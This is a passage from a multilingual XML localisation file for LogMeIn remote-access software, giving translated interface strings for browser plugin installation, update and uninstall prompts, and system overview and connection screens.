<es>El complemento se descarga y se muestra en la esquina inferior izquierda de la pantalla. No haga clic en él todavía. Lo necesitará en el paso 3.</es>
<fr>Le module est téléchargé et affiché dans le coin inférieur gauche de la fenêtre. Ne le cliquez pas encore ! Vous en aurez besoin à l'étape 3.</fr>
<it>Il plug-in viene stato scaricato e visualizzato nell’angolo inferiore sinistro dello schermo. Non fare subito clic sul plug-in scaricato, aspetta! Ti servirà al punto 3.</it>
<ru>Подключаемый модуль загружен и отображается в нижнем левом углу экрана. Пока не щелкайте его! Он потребуется вам на шаге 3.</ru>
<ja>プラグインがダウンロードされ、画面の左下隅に表示されます。まだクリックしないでください。これは手順 3 で使用します。</ja>
<zh>插件已下载并且显示在屏幕的左下角。请不要单击!在第 3 步中会需要。</zh>
<ko>플러그인이 다운로드되었으며, 화면(빨간색 화살표) 하단의 왼쪽 모서리에 표시됩니다. 아직 플러그인을 클릭하지 않으셨습니까? 플러그인은 단계 3에서 필요합니다.</ko>
<en-gb>The plug-in is downloaded and shown in the bottom-left corner of your screen. Don’t click it yet! You’ll need it in step 3.</en-gb>
<hu>A beépülő modul a sikeres letöltés után a képernyő bal alsó sarkában jelenik meg. Még ne kattintson rá. A 3. lépésben még szüksége lesz rá.</hu>
<pt-br>O plug-in foi baixado e será exibido no canto inferior esquerdo da tela. Não clique ainda! Você deve fazê-lo na etapa 3.</pt-br>
<nl>De invoegtoepassing wordt na het downloaden linksonder in uw scherm getoond. Klik er nog niet op! U hebt het nodig in stap 3.</nl>
</msg>
<msg name="PARA2">
<en>Go to chrome://chrome/extensions/ to open your Chrome's extensions page.</en>
<de>Gehen Sie zu chrome://chrome/extensions/, um Ihre Erweiterungen für Chrome anzuzeigen.</de>
<es>Diríjase a chrome://chrome/extensions/ para abrir la página de extensiones de Chrome.</es>
<fr>Allez sur chrome://chrome/extensions/ pour afficher la page des extensions de Chrome.</fr>
<it>Vai su chrome://chrome/extensions/ per aprire la pagina delle tue estensioni di Chrome.</it>
<ru>Откройте веб-страницу расширений Chrome: chrome://chrome/extensions/.</ru>
<ja>chrome://chrome/extensions/ にアクセスし、Chrome の拡張機能のページを開きます。</ja>
<zh>请转至 chrome://chrome/extensions/ 以打开 Chrome 的扩展页面。</zh>
<ko>chrome://chrome/extensions/로 이동하여 Chrome 확장 프로그램 페이지를 엽니다.</ko>
<en-gb>Go to chrome://chrome/extensions/ to open your Chrome's extensions page.</en-gb>
<hu>A Chrome Bővítmények oldalának megnyitásához írja be a chrome://chrome/extensions/ címet a böngészősávba.</hu>
<pt-br>Vá para chrome://chrome/extensions/ e abra a página de extensão do Chrome.</pt-br>
<nl>Ga naar chrome://chrome/extensies/ om de pagina met uw Chrome-extensies te openen.</nl>
</msg>
<msg name="PARA3">
<en>Drag and drop the plug-in that you have just downloaded into the Chrome extensions page.</en>
<de>Legen Sie das soeben heruntergeladene Plugin per Drag-and-Drop auf der Seite mit Ihren Chrome-Erweiterungen ab.</de>
<es>Arrastre y coloque el complemento que acaba de descargar en la página de extensiones de Chrome.</es>
<fr>Faites glisser le module que vous venez de télécharger sur la page d'extensions de Chrome.</fr>
<it>Trascina il plug-in che hai appena scaricato nella pagina delle estensioni di Chrome.</it>
<ru>Перетащите только что загруженный подключаемый модуль на страницу расширений Chrome.</ru>
<ja>先ほどダウンロードしたプラグインを Chrome の拡張機能のページにドラッグ アンド ドロップします。</ja>
<zh>将刚刚下载的插件拖放到 Chrome 扩展页面中。</zh>
<ko>다운로드한 플러그인을 Chrome 확장 프로그램 페이지로 드래그 앤 드롭합니다.</ko>
<en-gb>Drag and drop the plug-in that you have just downloaded into the Chrome extensions page.</en-gb>
<hu>Húzza a letöltött beépülő modult a Chrome Bővítmények oldalára.</hu>
<pt-br>Arraste e solte o plug-in que você acabou de baixar na página de extensão do Chrome.</pt-br>
<nl>Sleep de invoegtoepassing die u zojuist hebt gedownload en zet deze neer op de pagina met Chrome-extensies.</nl>
</msg>
<msg name="PARA4">
<en>Click "Add".</en>
<de>Klicken Sie auf "Hinzufügen".</de>
<es>Haga clic en "Añadir".</es>
<fr>Cliquez sur "Ajouter".</fr>
<it>Fai clic su "Aggiungi".</it>
<ru>Нажмите кнопку «Добавить».</ru>
<ja>[追加] をクリックします。</ja>
<zh>单击添加。</zh>
<ko>추가를 클릭합니다.</ko>
<en-gb>Click "Add".</en-gb>
<hu>Kattintson a "Hozzáadás" gombra.</hu>
<pt-br>Clique em "Adicionar".</pt-br>
<nl>Klik op "Toevoegen".</nl>
</msg>
<msg name="PARA5">
<en>Go back to your browser's tab where you downloaded the plug-in and click "Continue (after installation)" to connect to your LogMeIn host.</en>
<de>Kehren Sie zu dem Browser-Tab zurück, in dem das Plugin heruntergeladen wurde, und klicken Sie auf "Fortfahren (nach Installation)", um eine Verbindung zu Ihrem LogMeIn-Host herzustellen.</de>
<es>Vuelva a la pestaña del navegador en la que descargó el complemento, y haga clic en "Continuar (tras la instalación)" para conectarse a su host de LogMeIn.</es>
<fr>Retournez dans l'onglet du navigateur depuis lequel vous avez téléchargé le module, puis cliquez sur "Continuer (après installation)" pour vous connecter à votre hôte LogMeIn.</fr>
<it>Torna alla scheda del browser in cui hai scaricato il plug-in e fai clic su "Continua (dopo l’installazione)" per connetterti al tuo host LogMeIn.</it>
<ru>Вернитесь к вкладке браузера, на которой вы загрузили подключаемый модуль, и нажмите кнопку «Продолжить (после установки)», чтобы установить соединение с к хостом LogMeIn.</ru>
<ja>プラグインをダウンロードしたブラウザ タブに戻り、[続行 (インストール後)] をクリックして LogMeIn ホストに接続します。</ja>
<zh>返回下载插件所在的浏览器选项卡,然后单击继续(安装之后)以连接到 LogMeIn 主机。</zh>
<ko>플러그인을 다운로드한 브라우저의 탭으로 이동한 후 계속(설치 후)을 클릭하여 LogMeIn 호스트에 연결합니다.</ko>
<en-gb>Go back to your browser's tab where you downloaded the plug-in and click "Continue (after installation)" to connect to your LogMeIn host.</en-gb>
<hu>Váltson vissza arra a böngészőfülre, amelyben letöltötte a beépülő modult, majd kattintson a "Folytatás (telepítés után)" opcióra a LogMeIn-gazdagéphez való csatlakozáshoz.</hu>
<pt-br>Volte à guia do seu navegador, na qual você baixou o plug-in, e clique em "Continuar (após a instalação)" para se conectar ao host LogMeIn.</pt-br>
<nl>Ga terug naar het tabblad van uw browser waar u de invoegtoepassing hebt gedownload en klik op "Doorgaan (na de installatie)" om verbinding te maken met uw LogMeIn host.</nl>
</msg>
<msg name="CONTINUE">
<en>Continue (after installation)</en>
<de>Fortfahren (nach Installation)</de>
<es>Continuar (tras la instalación)</es>
<fr>Continuer (après installation)</fr>
<it>Continua (dopo l’installazione)</it>
<ru>Продолжить (после установки)</ru>
<ja>続行 (インストール後)</ja>
<zh>继续(安装之后)</zh>
<ko>계속(설치 후)</ko>
<en-gb>Continue (after installation)</en-gb>
<hu>Folytatás (telepítés után)</hu>
<pt-br>Continuar (após a instalação)</pt-br>
<nl>Doorgaan (na de installatie)</nl>
</msg>
</cat>
<cat name="SAFARI">
<msg name="PARA2">
<en>2. The browser will download a diskimage and start the installation.</en>
<de>2. Der Browser wird die Datenträgerabbildung herunterladen und die Installation starten.</de>
<es>2. El navegador descargará una imagen de disco e iniciará la instalación.</es>
<fr>2. Le navigateur va télécharger une image du disque et démarrer l'installation.</fr>
<it>2. Il browser effettuerà il download di un'immagine del disco e avvierà l'installazione.</it>
<ru>2. Обозреватель загрузит образ диска и начнет установку.</ru>
<ja>2. ブラウザはディスクイメージをダウンロードし、インストールを開始します。</ja>
<zh>2. 浏览器将下载磁盘映像并开始安装。 </zh>
<ko>2. 브라우저에서 디스크 이미지를 다운로드하여 설치를 시작합니다.</ko>
<hu>2. A böngésző letölti a lemezképet, és elindítja a telepítést.</hu>
<pt-br>2. O navegador baixará uma imagem de disco e iniciará a instalação.</pt-br>
<nl>2. Via de browser wordt een schijfimage gedownload en wordt het installatieproces gestart.</nl>
</msg>
<msg name="PARA3">
<en>3. If you see a message stating that the item to be downloaded is an application, click "Download".</en>
<de>3. Wenn Sie eine Meldung erhalten, dass das herunterzuladende Objekt eine Anwendung ist, klicken Sie bitte auf „Herunterladen“.</de>
<es>3. Haga clic en "Descargar" si le aparece un mensaje que dice que el elemento para descargar es una aplicación.</es>
<fr>3. En cas de message vous informant que l'élément à télécharger est une application, cliquez sur « Télécharger ».</fr>
<it>3. Se appare un messaggio che dice che l'elemento da scaricare è un'applicazione, fare clic su "Download".</it>
<ru>3. Если отобразится сообщение о том, что загружаемый объект является приложением, нажмите «Загрузить».</ru>
<ja>3. ダウンロード項目はアプリケーションであるというメッセージが表示されたら、[ダウンロード] をクリックします。</ja>
<zh>3. 如果看到内容为“待下载项是应用程序”的消息,请单击“下载”。</zh>
<ko>3. 다운로드할 항목이 응용 프로그램이라는 메시지가 나타나면 "다운로드"를 클릭하십시오.</ko>
<en-gb>3. If you see a message stating that the item to be downloaded is an application, click "Download".</en-gb>
<hu>3. Ha megjelenik egy üzenet, amely arról értesíti, hogy a letöltendő elem egy alkalmazás, kattintson a "Letöltés" gombra.</hu>
<pt-br>3. Se você vir uma mensagem avisando que o item a ser baixado é um aplicativo, clique em "Download".</pt-br>
<nl>3. Wanneer u een melding ziet dat het item om te downloaden een toepassing is, klikt u op "Downloaden".</nl>
</msg>
<msg name="PARA4">
<en>4. Step through the installer.</en>
<de>4. Führen Sie alle Schritte des Installationsprogramms aus.</de>
<es>4. Complete todos los pasos del programa de instalación.</es>
<fr>4. Suivez les étapes du programme d'installation.</fr>
<it>4. Eseguire tutti i passi del programma di installazione.</it>
<ru>4. Следуйте инструкциям мастера установки.</ru>
<ja>4. インストーラの指示に従います。</ja>
<zh>4. 逐步完成安装程序。</zh>
<ko>4. 설치 프로그램 단계를 따르십시오.</ko>
<hu>4. Haladjon végig a telepítő lépésein.</hu>
<pt-br>4. Siga as etapas do instalador.</pt-br>
<nl>4. Volg de stapsgewijze instructies van het installatieprogramma.</nl>
</msg>
<msg name="PARA4UPDATE">
<en>4. Please restart the browser to use the updated plugin.</en>
<de>4. Bitte starten Sie den Browser neu, um das aktualisierte Plug-in zu verwenden.</de>
<es>4. Reinicie el navegador para utilizar el complemento actualizado.</es>
<fr>4. Redémarrez le navigateur pour utiliser le module d'extension mis à jour.</fr>
<it>4. Riavviare il browser per utilizzare il plugin aggiornato.</it>
<ru>4. Перезапустите обозреватель и используйте обновленный подключаемый модуль.</ru>
<ja>4. 更新されたプラグインを使用するには、ブラウザを再起動してください。</ja>
<zh>4. 请重新启动浏览器以使用更新的插件。</zh>
<ko>4. 업데이트된 플러그인을 사용하려면 브라우저를 다시 시작하십시오.</ko>
<hu>4. A frissített beépülő használatba vételéhez indítsa újra a böngészőt.</hu>
<pt-br>4. Reinicie o navegador para usar o plugin atualizado.</pt-br>
<nl>4. Start opnieuw uw browsertoepassing om de bijwerkte invoegtoepassing te gebruiken.</nl>
</msg>
<msg name="PARA5">
<en>5. Expected Result: The plugin is installed and your remote access session begins.</en>
<de>5. Erwartetes Ergebnis: Das Plugin wurde installiert und Ihre Fernzugriffssitzung wird gestartet.</de>
<es>5. Resultado previsto: el complemento se instala y comienza la sesión de acceso remoto.</es>
<fr>5. Résultat attendu : le module externe est installé et votre session d'accès à distance démarre.</fr>
<it>5. Risultato previsto: il plugin viene installato e ha inizio la sessione di accesso remoto.</it>
<ru>5. Ожидаемый результат: подключаемый модуль установлен и начинается сеанс удаленного доступа.</ru>
<ja>5. 予想される結果:プラグインがインストールされ、リモート アクセス セッションが開始されます。</ja>
<zh>5. 预期结果:插件安装完毕,远程访问会话开始。</zh>
<ko>5. 예상 결과: 플러그인이 설치되며 원격 액세스 세션이 시작됩니다.</ko>
<en-gb>5. Expected Result: The plugin is installed and your remote access session begins.</en-gb>
<hu>5. Várható eredmény: A beépülő modul telepítése után elkezdődik a távoli munkamenet.</hu>
<pt-br>5. Resultado esperado: o plugin será instalado e a sessão de acesso remoto terá início.</pt-br>
<nl>5. Verwacht resultaat: de invoegtoepassing wordt geïnstalleerd en uw sessie voor toegang op afstand begint.</nl>
</msg>
<msg name="WAITER">
<en>Waiting for installation to finish.</en>
<de>Bitte warten Sie, bis die Installation abgeschlossen ist.</de>
<es>Esperando a que acabe la instalación.</es>
<fr>En attente de la fin de l'installation.</fr>
<it>In attesa del completamento dell'installazione.</it>
<ru>Ожидание завершения установки.</ru>
<ja>インストールを終了しています。</ja>
<zh>请等待安装完成。</zh>
<ko>설치가 완료될 때까지 기다리십시오.</ko>
<hu>Várok a telepítés befejeződésére.</hu>
<pt-br>Aguardando a conclusão da instalação.</pt-br>
<nl>De installatie wordt nu voltooid. Even geduld.</nl>
</msg>
</cat>
</cat>
<cat name="UPDATE">
<msg name="TITLE">
<en>Update Needed</en>
<de>Update gebraucht</de>
<es>Actualización necesaria</es>
<it>Da aggiornare</it>
<ru>Необходимое обновление</ru>
<ja>必要な更新</ja>
<zh>需要的更新</zh>
<ko>업데이트 필요</ko>
<en-gb>Update Needed</en-gb>
<hu>Frissítés szükséges</hu>
<pt-br>Atualização necessária</pt-br>
<nl>Update vereist</nl>
</msg>
<msg name="PARA1">
<en>The %BROWSERNAME plugin for %PRODUCTNAME requires an update.</en>
<de>The %BROWSERNAME Plug-In für %PRODUCTNAME benötigt ein Update.</de>
<es>El complemento de %BROWSERNAME para %PRODUCTNAME necesita una actualización.</es>
<it>Il plugin %BROWSERNAME per %PRODUCTNAME richiede un aggiornamento.</it>
<ru>Подключаемому модулю %BROWSERNAME для работы с %PRODUCTNAME требуется обновление.</ru>
<ja>%PRODUCTNAME の %BROWSERNAME プラグインを更新する必要があります。</ja>
<zh>用于 %PRODUCTNAME 的 %BROWSERNAME 插件需要更新。</zh>
<ko>%PRODUCTNAME용 %BROWSERNAME 플러그인을 업데이트해야 합니다.</ko>
<en-gb>The %BROWSERNAME plugin for %PRODUCTNAME requires an update.</en-gb>
<hu>A %BROWSERNAME beépülő a %PRODUCTNAME termékhez frissítést igényel.</hu>
<pt-br>O plugin %BROWSERNAME do para o %PRODUCTNAME requer atualização.</pt-br>
<nl>Voor de %BROWSERNAME-invoegtoepassing voor %PRODUCTNAME is een update vereist.</nl>
</msg>
</cat>
<cat name="UNINSTALL">
<msg name="PLUGIN_UNINSTALLER">
<en>LogMeIn Plugin Uninstaller</en>
<fr>Programme de désinstallation de module LogMeIn</fr>
<es>Desinstalador del complemento de LogMeIn</es>
<de>Deinstallationsprogramm für das LogMeIn-Plugin</de>
<it>Disinstallazione del plugin di LogMeIn</it>
<nl>Deïnstallatieprogramma voor de LogMeIn-invoegtoepassing</nl>
<pt-br>Desinstalador do plugin do LogMeIn</pt-br>
<zh>LogMeIn Plugin Uninstaller(LogMeIn Plugin 卸载工具)</zh>
<ru>Программа удаления подключаемого модуля LogMeIn</ru>
<ja>LogMeIn プラグイン アンインストーラ</ja>
<ko>LogMeIn 플러그인 설치 제거 프로그램</ko>
<hu>LogMeIn beépülő modult eltávolító program</hu>
<en-gb>LogMeIn Plugin Uninstaller</en-gb>
</msg>
<msg name="PLUGIN_UNINSTALL">
<en>Do you really want to uninstall the LogMeIn Plugin?</en>
<fr>Voulez-vous vraiment désinstaller le module LogMeIn ?</fr>
<es>¿Está seguro de que desea desinstalar el complemento de LogMeIn?</es>
<de>Möchten Sie das LogMeIn-Plugin sicher deinstallieren?</de>
<it>Disinstallare il plugin di LogMeIn?</it>
<nl>Weet u zeker dat u de LogMeIn-invoegtoepassing wilt deïnstalleren?</nl>
<pt-br>Deseja realmente desinstalar o plugin do LogMeIn?</pt-br>
<zh>您真想卸载 LogMeIn Plugin?</zh>
<ru>Удалить подключаемый модуль LogMeIn?</ru>
<ja>LogMeIn プラグインをアンインストールしてよろしいですか?</ja>
<ko>LogMeIn 플러그인을 제거하시겠습니까?</ko>
<hu>Valóban el kívánja távolítani a LogMeIn beépülő modult?</hu>
<en-gb>Do you really want to uninstall the LogMeIn Plugin?</en-gb>
</msg>
</cat>
</cat>
<cat name="INFO">
<!-- "general info" screen messages -->
<msg name="TITLE">
<en>System Overview</en>
<de>Systemübersicht</de>
<es>Descripción general del sistema</es>
<fr>Vue d'ensemble du système</fr>
<it>Panoramica del sistema</it>
<ru>Обзор системы</ru>
<ja>システムの概要</ja>
<zh>系统概述</zh>
<ko>시스템 개요</ko>
<en-gb>System Overview</en-gb>
<hu>Rendszer áttekintése</hu>
<pt-br>Visão geral do sistema</pt-br>
<nl>Systeemoverzicht</nl>
</msg>
<msg name="SRTITLE">
<en>Info for %SRVNAME</en>
<de>Info für %SRVNAME</de>
<es>Información para %SRVNAME</es>
<fr>Info pour %SRVNAME</fr>
<it>Informazioni su %SRVNAME</it>
<ru>Информация для %SRVNAME</ru>
<ja>%SRVNAME に関する情報</ja>
<zh>%SRVNAME 的信息</zh>
<ko>%SRVNAME 정보</ko>
<en-gb>Info for %SRVNAME</en-gb>
<hu>Információ ehhez: %SRVNAME</hu>
<pt-br>Informações para o %SRVNAME</pt-br>
<nl>Info over %SRVNAME</nl>
</msg>
<msg name="USER">
<en>You're logged in as</en>
<de>Sie sind angemeldet als</de>
<es>Ha iniciado sesión como</es>
<fr>Vous êtes connecté(e)s au nom de</fr>
<it>Accesso eseguito come</it>
<ru>Вы вошли в систему как</ru>
<ja>ログインに使用したユーザ名</ja>
<zh>您以下列身份登录</zh>
<ko>다른 이름으로 로그인</ko>
<en-gb>You are logged in as</en-gb>
<hu>Ön a következő névvel van bejelentkezve:</hu>
<pt-br>Você está conectado como</pt-br>
<nl>U bent aangemeld als</nl>
</msg>
<cat name="SECURITY">
<msg name="TITLE">
<en>Security</en>
<de>Sicherheit</de>
<es>Seguridad</es>
<fr>Sécurité</fr>
<it>Protezione</it>
<ru>Безопасность</ru>
<ja>セキュリティ</ja>
<zh>安全</zh>
<ko>보안</ko>
<en-gb>Security</en-gb>
<hu>Biztonság</hu>
<pt-br>Segurança</pt-br>
<nl>Beveiliging</nl>
</msg>
<msg name="AUTH">
<en>Authentication</en>
<de>Authentifizierung</de>
<es>Autenticación</es>
<fr>Authentificaton</fr>
<it>Autenticazione</it>
<ru>Проверка подлинности</ru>
<ja>認証</ja>
<zh>验证</zh>
<ko>인증</ko>
<en-gb>Authentication</en-gb>
<hu>Hitelesítés</hu>
<pt-br>Autenticação</pt-br>
<nl>Verificatie</nl>
</msg>
<msg name="TRANS">
<en>Transport</en>
<de>Transport</de>
<es>Transporte</es>
<fr>Transport</fr>
<it>Trasporto</it>
<ru>Транспорт</ru>
<ja>トランスポート</ja>
<zh>传输</zh>
<ko>전송</ko>
<en-gb>Transport</en-gb>
<hu>Szállítás</hu>
<pt-br>Transporte</pt-br>
<nl>Transport</nl>
</msg>
<msg name="SECURE">
<en>Secure</en>
<de>Sicher</de>
<es>Seguro</es>
<fr>Sécurisaton</fr>
<it>Protetto</it>
<ru>Безопасный</ru>
<ja>安全</ja>
<zh>安全</zh>
<ko>보안</ko>
<en-gb>Secure</en-gb>
<hu>Biztonságos</hu>
<pt-br>Seguro</pt-br>
<nl>Beveiligd</nl>
</msg>
<msg name="INSECURE">
<en>Clear-text</en>
<de>Klartext</de>
<es>Texto plano</es>
<fr>texte en clair</fr>
<it>Testo non crittografato</it>
<ru>Отрытым текстом</ru>
<ja>クリアテキスト</ja>
<zh>明文</zh>
<ko>일반 텍스트</ko>
<en-gb>Clear-text</en-gb>
<hu>Sima szöveg</hu>
<pt-br>Texto sem formatação</pt-br>
<nl>Gewone tekst</nl>
</msg>
</cat>
<cat name="CURRENT">
<msg name="TITLE">
<en>Current Connections</en>
<de>Aktive  Verbindungen</de>
<es>Conexiones actuales</es>
<fr>Connexions ouvertes</fr>
<it>Connessioni correnti</it>
<ru>Текущие подключения</ru>
<ja>現在の接続</ja>
<zh>当前连接</zh>
<ko>현재 연결</ko>
<en-gb>Current Connections</en-gb>
<hu>Jelenlegi kapcsolatok</hu>
<pt-br>Conexões atuais</pt-br>
<nl>Huidige verbindingen</nl>
</msg>
<msg name="FTP">
<en>FTP Server</en>
<de>FTP Server</de>
<es>Servidor FTP</es>
<fr>Serveur FTP</fr>
<it>Server FTP</it>
<ru>FTP-сервер</ru>
<ja>FTP サーバー</ja>
<zh>FTP 服务器</zh>
<ko>FTP 서버</ko>
<en-gb>FTP Server</en-gb>
<hu>FTP kiszolgáló</hu>
<pt-br>Servidor FTP</pt-br>
<nl>FTP-server</nl>
</msg>
<msg name="TELNET">
<en>Telnet / SSH Server</en>
<de>Telnet / SSH Server</de>
<es>Servidor Telnet/SSH</es>
<fr>Serveur Telnet / SSH</fr>
<it>Server Telnet/SSH</it>
<ru>Сервер Telnet / SSH</ru>
<ja>Telnet / SSH サーバー</ja>
<zh>Telnet/SSH 服务器</zh>
<ko>텔넷/SSH 서버</ko>
<en-gb>Telnet / SSH Server</en-gb>
<hu>Telnet / SSH kiszolgáló</hu>
<pt-br>Servidor Telnet/SSH</pt-br>
<nl>Telnet/SSH-server</nl>
</msg>
<msg name="PORTFWD">
<en>Port Forwarding Server</en>
<de>Port Forwarding Server</de>
<es>Servidor con reenvío de puerto</es>
<fr>Port Forwarding Server</fr>
<it>Server di inoltro delle porte</it>
<ru>Сервер перенаправления портов</ru>
<ja>ポート転送サーバー</ja>
<zh>端口转发服务器</zh>
<ko>포트 전달 서버</ko>
<en-gb>Port Forwarding Server</en-gb>
<hu>Port-átirányítási kiszolgáló</hu>
<pt-br>Servidor de encaminhamento de porta</pt-br>
<nl>Poorttoewijzingsserver</nl>
</msg>
<msg name="NOCONN">
<en>no connections</en>
<de>keine Verbindungen</de>
<es>no hay conexiones</es>
<fr>pas de connexion</fr>
<it>nessuna connessione</it>
<ru>нет подключений</ru>
<ja>接続していません</ja>
<zh>无连接</zh>
<ko>연결 없음</ko>
<en-gb>no connections</en-gb>
<hu>nincsenek kapcsolatok</hu>
<pt-br>sem conexões</pt-br>
<nl>geen verbindingen</nl>
</msg>
</cat>
<cat name="DRIVERLIST">
<msg name="TITLE">
<en>Loaded Device Drivers</en>
<de>Geladene Gerätetreiber</de>
<es>Controladores del dispositivo carg.</es>
<fr>Pilotes des périphériques chargés</fr>
<it>Driver di dispositivo caricati</it>
<ru>Загружаемые драйверы устройств</ru>
<ja>読み込まれたデバイス ドライバ</ja>
<ko>로드된 장치 드라이버</ko>
<hu>Betöltött eszközmegh. programok</hu>
<pt-br>Drivers do dispositivo carreg.</pt-br>
<zh>加载的设备驱动程序</zh>
<nl>Geladen apparaatstuurprogramma's</nl>
</msg>
<msg name="IMAGE">
<en>Image Name</en>
<de>Bildname</de>
<es>Nombre de imagen:</es>
<fr>Nom de l'image</fr>
<it>Nome immagine</it>
<ru>Название изображения:</ru>
<ja>画像名</ja>
<ko>이미지 이름</ko>
<hu>Képállomány neve</hu>
<pt-br>Nome da imagem</pt-br>
<zh>图像名称</zh>
<nl>Naam van image</nl>
</msg>
<msg name="BASE">
<en>Base Address</en>
<de>Basisadresse</de>
<es>Dirección base</es>
<fr>Adresse de base</fr>
<it>Indirizzo base</it>
<ru>Базовый адрес</ru>
<ja>ベース アドレス</ja>
<zh>基地址</zh>
<ko>기본 주소</ko>
<en-gb>Base Address</en-gb>
<hu>Báziscím</hu>
<pt-br>Endereço de base</pt-br>
<nl>Basisadres</nl>
</msg>
<msg name="FILE">
<en>File Name</en>
<de>Dateiname</de>
<es>Nombre de archivo:</es>
<fr>Nom du fichier</fr>
<it>Nome file</it>
<ru>Имя файла:</ru>
<ja>ファイル名</ja>
<ko>파일 이름</ko>
<hu>Fájlnév</hu>
<pt-br>Nome do arquivo</pt-br>
<zh>文件名</zh>
<nl>Bestandsnaam</nl>
</msg>
</cat>
<!-- "remotelyanywhere connections" screen messages -->
<cat name="CONNS">
<msg name="TITLE">
<en>%PRODUCTABBR Connections</en>
<de>%PRODUCTABBR Verbindungen</de>
<es>Conexiones de %PRODUCTABBR</es>
<fr>Connexions %PRODUCTABBR</fr>
<it>Connessioni di %PRODUCTABBR</it>
<ru>Подключения %PRODUCTABBR</ru>
<ja>%PRODUCTABBR 接続</ja>
<zh>%PRODUCTABBR 连接</zh>
<ko>%PRODUCTABBR 연결</ko>
<en-gb>%PRODUCTABBR Connections</en-gb>
<hu>%PRODUCTABBR kapcsolat</hu>
<pt-br>Conexões do %PRODUCTABBR</pt-br>
<nl>%PRODUCTABBR-verbindingen</nl>
</msg>
<msg name="RECENT">
<en>Most Recent Accesses</en>
<de>Zuletzt erfolgte Zugriffe</de>
<es>Accesos recientes</es>
<fr>Accès les plus récents</fr>
<it>Accessi più recenti</it>
<ru>Самые последние попытки входа</ru>
<ja>直近のアクセス</ja>
<zh>最近的访问</zh>
<ko>가장 최근의 액세스</ko>
<en-gb>Most Recent Accesses</en-gb>
<hu>Legutóbbi hozzáférések</hu>
<pt-br>Acessos mais recentes</pt-br>
<nl>Meest recente toegangssessies</nl>
</msg>
<msg name="HOST">
<en>Host Name</en>
<de>Computername</de>
<es>Nombre del host</es>
<fr>Nom de l'hôte</fr>
<it>Nome host</it>
<ru>Хост-имя</ru>
<ja>ホスト名</ja>
<zh>主机名</zh>
<ko>호스트 이름</ko>
<en-gb>Host Name</en-gb>
<hu>Gazdagépnév</hu>
<pt-br>Nome do host</pt-br>
<nl>Hostnaam</nl>
</msg>
<msg name="USER">
<en>User</en>
<de>Benutzer</de>
<es>Usuario</es>
<fr>Utilisateur</fr>
<it>Utente</it>
<ru>Пользователь</ru>
<ja>ユーザ</ja>
<zh>用户</zh>
<ko>사용자</ko>
<en-gb>User</en-gb>
<hu>Felhasználó</hu>
<pt-br>Usuário</pt-br>
<nl>Gebruiker</nl>
</msg>
<msg name="LOGIN">
<en>Access Started</en>
<de>Sitzung gestartet</de>
<es>Acceso iniciado</es>
<fr>Début de la connexion</fr>
<it>Procedura di accesso avviata</it>
<ru>Доступ открыт</ru>
<ja>アクセス開始</ja>
<zh>访问开始</zh>
<ko>액세스 시작</ko>
<en-gb>Access Started</en-gb>
<hu>Hozzáférés elkezdődött</hu>
<pt-br>Acesso iniciado</pt-br>
<nl>Toegangssessie gestart</nl>
</msg>
<msg name="LOGOUT">
<en>Access Finished</en>
<de>Sitzung beendet</de>
<es>Acceso finalizado</es>
<fr>Fin de la connexion</fr>
<it>Procedura di accesso terminata</it>
<ru>Доступ завершен</ru>
<ja>アクセス終了</ja>
<zh>访问结束</zh>
<ko>액세스 끝남</ko>
<en-gb>Access Finished</en-gb>
<hu>Hozzáférés befejeződött</hu>
<pt-br>Acesso concluído</pt-br>
<nl>Toegangssessie beëindigd</nl>
</msg>
<msg name="ONLINE">
<en>still on</en>
<de>angemeldet</de>
<es>todavía en funcionamiento</es>
<fr>Encore connecté</fr>
<it>ancora in linea</it>
<ru>продолжает действовать</ru>
<ja>接続中</ja>
<zh>仍联机</zh>
<ko>아직</ko>
<en-gb>still on</en-gb>
<hu>még tart</hu>
<pt-br>ainda ativado</pt-br>
<nl>nog actief</nl>
</msg>
<msg name="CONNECTED">
<en>Connected</en>
<de>Verbunden</de>
<es>Conectado</es>
<fr>Connexion</fr>
<it>Connesso</it>
<ru>Подключен</ru>
<ja>接続されました</ja>
<zh>已连接</zh>
<ko>연결됨</ko>
<en-gb>Connected</en-gb>
<hu>Csatlakoztatva</hu>
<pt-br>Conectado</pt-br>
<nl>Verbonden</nl>
</msg>
<msg name="IDLE">
<en>Idle Time</en>
<de>Leerlaufzeit</de>
<es>Tiempo en reposo</es>
<fr>Temps d'inactivité</fr>
<it>Tempo di inattività</it>
<ru>Время простоя</ru>
<ja>アイドル時間</ja>
<zh>闲置时间</zh>
<ko>유휴 시간</ko>
<en-gb>Idle Time</en-gb>
<hu>Üresjárati idő</hu>
<pt-br>Tempo ocioso</pt-br>
<nl>Tijd niet-actief</nl>
</msg>
<msg name="DATA.IN">
<en>Data In</en>
<de>Ankommende Daten</de>
<es>Entrada de datos</es>
<fr>Données reçues</fr>
<it>Dati in ingresso</it>
<ru>Ввод данных</ru>
<ja>受信データ</ja>
<zh>输入数据</zh>
<ko>데이터 수신</ko>
<en-gb>Data In</en-gb>
<hu>Adat bemenet</hu>
<pt-br>Dados de entrada</pt-br>
<nl>Gegevens in</nl>
</msg>
<msg name="DATA.OUT">
<en>Data Out</en>
<de>Abgehende Daten</de>
<es>Salida de datos</es>
<fr>Données envoyées</fr>
<it>Dati in uscita</it>
<ru>Вывод данных</ru>
<ja>送信データ</ja>
<zh>输出数据</zh>
<ko>데이터 송신</ko>
<en-gb>Data Out</en-gb>
<hu>Adat kimenet</hu>
<pt-br>Dados de saída</pt-br>
<nl>Gegevens uit</nl>
</msg>
<cat name="TYPE">
<msg name="http">
<en>Browser (HTTP)</en>
<de>Browser (HTTP)</de>
<es>Navegador (HTTP)</es>
<fr>Navigateur (HTTP)</fr>
<it>Browser (HTTP)</it>
<ru>Обозреватель (HTTP)</ru>
<ja>ブラウザ (HTTP)</ja>
<zh>浏览器 (HTTP)</zh>
<ko>브라우저(HTTP)</ko>
<en-gb>Browser (HTTP)</en-gb>
<hu>Böngésző (HTTP)</hu>
<pt-br>Navegador (http)</pt-br>
<nl>Browser (HTTP)</nl>
</msg>
<msg name="remctrl">
<en>Remote Control</en>
<de>Fernsteuerung</de>
<ja>リモート制御</ja>
<es>Control Remoto</es>
<fr>Contôle distant</fr>
<it>Controllo remoto</it>
<ru>Удаленное управление</ru>
<zh>远程控制</zh>
<ko>원격 제어</ko>
<en-gb>Remote Control</en-gb>
<hu>Távvezérlő</hu>
<pt-br>Controle remoto</pt-br>
<nl>Besturing op afstand</nl>
</msg>
<msg name="filexfer">
<en>File Manager</en>
<de>Dateitransfer</de>
<ja>ファイル管理</ja>
<es>Gestor de archivos</es>
<fr>Transfert de fichier</fr>
<it>Gestione file</it>
<ru>Диспетчер файлов</ru>
